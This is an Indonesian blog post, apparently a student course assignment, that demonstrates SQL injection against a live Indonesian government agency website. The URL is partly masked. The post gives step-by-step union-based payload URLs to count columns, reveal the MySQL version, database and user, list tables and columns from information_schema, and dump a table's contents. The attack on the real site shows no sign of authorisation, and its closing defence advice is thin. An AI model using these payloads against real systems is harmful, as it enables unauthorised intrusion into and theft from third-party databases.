Tugas I. Keamanan Informasi Lanjut

September 9th, 2012 by retno rahmawati lestari

Nama                    : Retno Rahmawati Lestari
NIM                       : 23512094
Program Studi  : Teknik Informatika/LTI

TUGAS I. Keamanan Informasi Lanjut

Aplikasi atau Website yang bermasalah dengan aplikasinya, sehingga timbul celah keamanan

Dengan semakin pesatnya perkembangan teknologi informasi pada saat ini, terdapat banyak aplikasi dan sistem informasi berbasis web, hal ini disebabkan karena sistem informasi berbasis web lebih efektif dan efisien. Dengan adanya internet dapat memudahkan masyarakat untuk mengakses sistem informasi berbasis web tersebut dimana saja dan kapan saja, sehingga memudahkan untuk mengelola data dan mendapatkan informasi dengan cepat. Namun celah keamanan yang dapat menembus website juga semakin banyak, salah satu celah keamanan yang sering dijumpai adalah Injection flaws, yaitu salah satu teknik hacking yang memanfaatkan celah keamanan pada basis datanya, dan yang sering digunakan adalah SQL Injection. Dengan memasukkan perintah-perintah SQL pada website yang lemah dalam membuat struktur basis data, akan memudahkan bagi hacker untuk mendapatkan informasi pribadi, seperti struktur tabel basis data, kolom-kolom yang terdapat pada tabel basis data tersebut, hingga isi record basis data tersebut. Sehingga hacker bisa mengetahui username atau id dan password admin pengelola website tersebut.

SQL Injection termasuk salah satu cara menembus celah keamanan yang sudah lama diketahui, namun hingga saat ini masih banyak terdapat website yang memiliki kelemahan ini, terutama website pemerintah Indonesia, salah satunya adalah website milik salah satu instansi pemerintah dibawah Kementerian Riset dan Teknologi Republik Indonesia dengan alamat url : http://….go.id

Gambar 1. Halaman utama website

Bagaimana sebuah website bisa diketahui memiliki kelamahan untuk dilakukan sql injection adalah dengan memasukkan karakter – atau ‘ ke dalam halaman website yang memiliki karakter angka, misalnya : http://…..go.id/index.php?option=com_frontpage&catid=13’, sehingga didapat error page seperti gambar dibawah ini. Error SQL ini merupakan salah satu kelemahan dalam membangun struktur basis data dalam mendefinisikan type data.

Gambar 2.error page

Error SQL yang terlihat, dapat dimanfaatkan untuk mengetahui nama database dan table-table dalam database tersebut yang digunakan sebagai basis data website ini.

Untuk mengetahui nama databasenya adalah dengan menambahkan sintak ‘ and 1=2 order by n’ pada akhir alamat url, dimana n=1,2,3,4,5,…,n dimasukkan satu persatu nilai n tersebut, sehingga error page berubah menjadi ‘unknown coloum’

Gambar 3. error unkown coloum

Pada website  ini, error ‘unkown coloum’ yang ditemukan adalah setelah memasukkan nilai n=3. Setelah ini langkah selanjutnya adalah mengetahui versi mysql dan username administrator database, yaitu dengan memasukkan sintak ‘and 1=2 union select version(),2—‘  sehingga diketahui versi mysqlnya adalah versi 5

Gambar 4. diketahui versi mysql

Dan selanjutnya untuk mengetahui nama username dan database pada website ini adalah dengan mengganti sintak version(), menjadi database() dan user(), contohnya adalah alamat url berikut ini:

http://www………go.id/index.php?option=isi&task=view&id=-281+and+1=2+union+select+database(),2–&Itemid=2

Gambar 5. diketahui nama database

Dan setelah diketahui nama databasenya, akan mudah untuk mengetahui nama tabel-tabel pada database tersebut, adalah dengan memasukkan sintak ‘and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema=database()—‘ pada akhir alamat url, menjadi :

http://www………go.id/index.php?option=isi&task=view&id=-281+and+1=2+union+select+group_ concat(table_name),2+from+information_ schema.tables+where+table_schema=database()–&Itemid=2

maka akan diketahui nama-nama tabel pada database tersebut seperti pada gambar dibawah ini

Gambar 6. nama table-table pada database

Terlihat nama table-table pada database ini adalah agenda, batas_orangjam, buku_alamat, dimanam direktori, direktori_url, disposisi_surat, fasilitas, file_tb, forum, grup, grup_pengguna, hasil_jajak_pendapat, ing_banner, ing_bannerclient, ing_bannerfinish, ing_contact_details, ing_core_acl_aro, ing_core_acl_aro_groups, ing_core_acl_aro_sections, ing_core_acl_groups_aro_map, ing_core_log_items, ing_core_log_sear

Setelah mengetahui struktur tabel pada database ini, akan mudah untuk mengetahui nama kolom-kolom pada tabel-tabel tersebut adalah dengan memasukkan sintak : ‘and 1=2 union select group_concat(coloum_name) from information_schema.coloums where table_name=mysqlchar(table_name)–, bagaimana mendapatkan nilai mysqchar, adalah dengan mengkonversi nama tabel menjadi mysql char(), saya mengambil contoh nama tabel agenda, dengan bantuan sql pada localhost kita, nama tabel agenda dikonversi menjadi char(97,103,101,110,100,97)

Sehingga alamat url Menjadi : http://www………go.id/index.php?option=isi&task=view&id=-281%20and%201=0%20union%20select%20group_concat (column_name),2%20from%20information_schema.columns%20where%20table_name =CHAR(97,103,101,110,100,97)–&Itemid=2

Dan  didapat nama kolom pada tabel agenda seperti pada gambar

Gambar 7. nama kolom pada tabel agenda

Maka diketahui, nama kolom pada tabel agenda adalah kode_agenda, pemilik, judul, tipe, tgl_mulai, waktu_mulai, waktu_selesai, kode_pengulangan, kode_undangan, deskripsi, tgl_dibuat, tgl_diubah, sharing_publik, sifat_sharing, undang_via_email, undang_via_sms.

Terakhir untuk mengetahui isi dari kolom-kolom tersebut adalah dengan memasukkan sintak ‘and 1=2 union select group_concat(nama_kolom,0x3a,nama_kolom_lainnya) from nama_tabel–

Sehingga alamat url menjadi :

http://www……..go.id/index.php?option=isi&task=view&id=-281+and+1=2+union+select+group_concat (kode_agenda,0x3a,pemilik,0x3a,judul,0x3a,tipe,0x3a,tgl_mulai,0x3a,waktu_mulai,0x3a, waktu_selesai,0x3a,kode_pengulangan,0x3a,kode_undangan,0x3a,deskripsi,0x3a,tgl_dibuat,0x3a, tgl_diubah,0x3a,sharing_publik,0x3a,sifat_sharing,0x3a,undang_via_email,0x3a,undang_via_sms), 2+from+agenda–&Itemid=2

Gambar 8. isi kolom pada tabel agenda

Maka untuk selanjutnya sql injection ini dapat dimanfaatkan oleh orang yang tidak bertanggung jawab untuk mengetahui nama username dan administrasi untuk login sebagai administrator website ini.

Demikian bagaimana sql injection dilakukan untuk masuk kedalam website dan mengetahui data dan informasi database website tersebut, namun ada beberapa cara bagaimana memproteksi website untuk mengatasi sql injection, yaitu dengan menghindari enable special character atau wild character, dan membatasi input karakter, serta lebih banyak mempelajari pemogramanan SQL serta sistem keamanan informasi.

 

Tulisan ini dibuat untuk memenuhi tugas salah satu mata kuliah Keamanan Informasi Lanjut, yang bertujuan untuk menangani celah keamanan pada Website/Aplikasi/Sistem Informasi

 

Share